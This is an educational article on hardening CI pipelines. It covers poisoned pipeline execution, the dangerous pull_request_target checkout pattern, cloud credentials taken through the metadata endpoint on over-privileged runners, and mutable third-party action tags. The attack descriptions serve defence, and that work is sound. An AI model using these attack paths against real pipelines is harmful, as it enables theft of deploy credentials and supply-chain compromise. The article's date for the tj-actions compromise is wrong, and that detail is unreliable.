Pipeline hardening

Why CI is a high-value target

A senior reflexes hard on one fact: the pipeline is the softest path to production credentials in your whole system. Your app servers are hardened, network-segmented, and monitored. Your CI runner builds untrusted code on every push, holds a deploy role, a registry token, and a signing key, and is watched by almost no one. An attacker who would never get RCE on your production fleet can often get it on your build agent just by sending a pull request.

The asset CI holds is not “your code” — it is trust. The pipeline is the thing that decides what artifact ships to prod and signs it as authentic. Compromise the pipeline and you do not need to breach prod; the pipeline will ship your backdoor to prod for you, signed, and every downstream consumer that trusts your releases inherits it. That is why supply-chain attackers target build systems: one poisoned pipeline fans out to thousands of victims. SolarWinds (2020) was a build-system compromise; Codecov (2021) exfiltrated secrets from tens of thousands of CI environments by modifying a single bash uploader.

The poisoned pipeline: two distinct flavors

“Poisoned pipeline execution” (PPE) means an attacker injects malicious commands into the build process itself, not the deployed app. There are two mechanisms, and conflating them is a common senior-interview miss.

• Direct PPE (D-PPE): the attacker can edit the CI definition that runs. The classic trigger is a fork/branch pull request on a platform that runs the PR’s version of the workflow file. Edit ci.yml to add run: <malicious>, open the PR, and CI executes your command with the runner’s privileges before review.
• Indirect PPE (I-PPE): the attacker cannot edit the workflow, but the workflow runs files the attacker can edit — a Makefile, an npm postinstall script, a test helper, a Dangerfile. The pipeline definition is locked down, but it shells out to make test, and make test runs attacker-controlled code from the PR. Locking the YAML is necessary but not sufficient.

The lethal combination is PPE on a pull_request-triggered job that has access to secrets. On GitHub, the pull_request event from a fork deliberately runs without repository secrets and with a read-only token for exactly this reason — but the pull_request_target event runs in the context of the base repo with full secrets while checking out the PR head, which is the single most dangerous misconfiguration in the ecosystem. If your pull_request_target workflow does actions/checkout with ref: ${{ github.event.pull_request.head.sha }} and then builds, you have handed every fork author a secret-laden RCE.

The over-privileged runner: why a small foothold goes nuclear

PPE gives the attacker code execution. What that execution is worth is decided entirely by what the runner can reach — and this is the lever you actually control. An over-privileged runner is one that holds more authority than the job in front of it needs.

The standing-credentials problem on self-hosted runners is the worst case. A self-hosted runner is a long-lived machine you own. If it has an AWS instance-profile role attached, every job that lands on it — including a poisoned PR job — can call the cloud metadata endpoint (http://169.254.169.254/) and assume that role. The credential was never in a secret store you could scope; it is ambient on the host. Worse, self-hosted runners are not ephemeral by default: malware from one job persists on disk and in caches for the next job, so one poisoned build can backdoor every subsequent build on that machine. GitHub explicitly warns against attaching self-hosted runners to public repos for this reason.

Three privilege dimensions to drive to least-privilege:

• Token scope: GitHub’s default GITHUB_TOKEN can be read-only (permissions: read-all is not the default — set permissions: contents: read and grant write per-job only where needed). A token that can push to the registry or create releases is a token a poisoned job will use.
• Cloud role: the deploy role should be assumable only by the deploy job on a trusted trigger (a push to a protected branch or a tag), never by a test job on a PR. Use OIDC federation so CI exchanges a short-lived, workflow-scoped token for cloud credentials instead of storing long-lived AWS_ACCESS_KEY_ID in CI secrets — and constrain the cloud trust policy to the specific repo, branch, and environment.
• Runner reachability: a runner that can open connections into your production VPC is a runner that turns a build compromise into lateral movement. Build agents belong in an isolated, egress-filtered network, not next to your databases.

The third-party action problem

Most pipelines pull in dozens of community actions, each running with the workflow’s privileges. uses: some-org/setup-thing@v4 resolves a mutable tag — the maintainer (or an attacker who compromised them) can repoint v4 to malicious code, and your next run silently executes it. This is exactly the March 2024 tj-actions/changed-files compromise: the attacker rewrote the action’s tags to dump CI secrets into build logs across thousands of repos. The mitigation is to pin every third-party action to a full commit SHA (@a1b2c3..., not @v4), so the code you reviewed is the code that runs, and to treat a third-party action with the same suspicion as any other dependency — because it is one, executing in your most privileged environment.

How a senior sequences the hardening

The order matters because the controls are not equal in value-per-effort. First, kill standing credentials: move off long-lived cloud keys to OIDC, and make sure no secret-bearing job runs on an untrusted PR. That single move neuters the poisoned pipeline’s payoff. Second, drop the token to read-only by default and grant write narrowly. Third, make runners ephemeral so a foothold can’t persist. Fourth, pin actions by SHA so your dependency surface stops shifting under you. Notice the through-line: you are assuming the attacker will get code execution in CI, and engineering so that when they do, the runner is a box with nothing worth stealing and nowhere worth going.